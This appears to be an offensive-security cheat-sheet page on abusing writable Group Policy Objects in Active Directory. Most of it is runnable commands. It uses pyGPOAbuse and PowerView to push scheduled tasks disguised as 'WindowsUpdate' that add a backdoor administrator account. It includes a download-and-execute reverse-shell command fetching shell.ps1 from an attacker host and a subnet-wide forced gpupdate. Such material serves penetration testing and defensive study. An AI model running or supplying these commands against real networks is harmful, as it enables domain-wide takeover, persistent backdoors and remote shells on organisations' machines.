# GPO Abuse

> Exploiting misconfigured Group Policy Objects in AD to push malicious settings, execute code, or escalate privileges across domain-joined systems.

- **URL:** https://hackindex.io/platforms/active-directory/exploitation/ad-gpo-abuse
- **Path:** Active Directory > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/active-directory/exploitation.md)
- **Published:** 2026-06-09
- **Updated:** 2026-08-11

Write access on a GPO lets you modify its settings: adding a scheduled task or startup script that runs on every machine the GPO applies to. BloodHound marks these as `GenericWrite` or `WriteProperty` edges on GPO objects. The scope of impact depends on which OUs the GPO is linked to: a GPO linked to the domain root affects every computer.

Requirements for GPO abuse:

- `GenericWrite`, `WriteProperty`, or `WriteDACL` on a GPO object
- GPO linked to an OU containing target machines
- SYSVOL write access (follows from the GPO permission)
- GPO refresh on affected hosts (automatic every 90 min or forced with `gpupdate`)

## Find writable GPOs and their scope

**Enumerate GPOs and OU links**

```bash
# List all GPOs: cn value is the GPO GUID needed for abuse tools
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(objectClass=groupPolicyContainer)' --attr displayName cn

# Find which OUs have GPOs linked: gpLink attribute shows the GUID
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(gpLink=*)' --attr distinguishedName gpLink
# displayName: Default Domain Policy
# cn: {31B2F340-016D-11D2-945F-00C04FB984F9}
```

BloodHound shows `GenericWrite` on GPO objects as a direct path. The GUID from the `cn` attribute (including curly braces) is required for all abuse tools.

## pyGPOAbuse: from Kali

pyGPOAbuse modifies GPO settings over LDAP and SMB from a Linux attacker. It adds an immediate scheduled task that executes on all machines in scope at the next policy refresh.

**Install and run pyGPOAbuse**

```bash
# Install
pipx install pygpoabuse

# Add immediate scheduled task (runs as SYSTEM on affected machines)
pygpoabuse '$DOMAIN/$USER:$PASSWORD' -dc-ip $TARGET_IP -gpo-id '$GPO_ID' -powershell -command "net user backdoor Password123! /add && net localgroup administrators backdoor /add" -task-name "WindowsUpdate"

# Reverse shell: start listener first: nc -nlvp $LPORT
pygpoabuse '$DOMAIN/$USER:$PASSWORD' -dc-ip $TARGET_IP -gpo-id '$GPO_ID' -powershell -command "IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/shell.ps1')" -task-name "WindowsUpdate"
# [+] Successfully modified GPO {31B2F340-016D-11D2-945F-00C04FB984F9}
# [+] Scheduled task WindowsUpdate added
```

`$GPO_ID` is the full GUID string from `cn` including curly braces.

## New-GPOImmediateTask: from a Windows shell

From a PowerShell session on a domain-joined machine, PowerView's `New-GPOImmediateTask` writes a scheduled task directly into the GPO XML on SYSVOL.

On Kali: `/usr/share/windows-resources/powersploit/Recon/PowerView.ps1`

**Add immediate task via PowerView**

```powershell
# Load PowerView
IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/PowerView.ps1')

# Add scheduled task: runs as SYSTEM on next GPO refresh
New-GPOImmediateTask -TaskName "WindowsUpdate" -GPODisplayName "$GPO_NAME" -Command "cmd.exe" -CommandArguments "/c net user backdoor Password123! /add && net localgroup administrators backdoor /add" -Force
```

## Force GPO refresh

GPOs refresh automatically every 90 minutes. Force immediate execution on all affected machines with a sweep.

**Force gpupdate across subnet**

```bash
nxc smb $TARGET_SUBNET/24 -u $USER -p $PASSWORD -x "gpupdate /force"
```

After execution, connect to any affected machine using the backdoor account. See [AD Remote Execution](https://hackindex.io/platforms/active-directory/lateral-movement/ad-remote-execution) for access options.

## References

- [pyGPOAbuse: GitHub](https://github.com/Hackndo/pyGPOAbuse) - GPO abuse from Linux via LDAP and SMB, immediate scheduled task injection
- [BloodyAD: GitHub](https://github.com/CravateRouge/bloodyAD) - GPO object enumeration and OU link discovery
- [NetExec (nxc): GitHub](https://github.com/Pennyw0rth/NetExec) - gpupdate force push across subnet after GPO modification
- [PowerSploit PowerView: GitHub](https://github.com/PowerShellMafia/PowerSploit) - New-GPOImmediateTask for scheduled task injection into GPO from Windows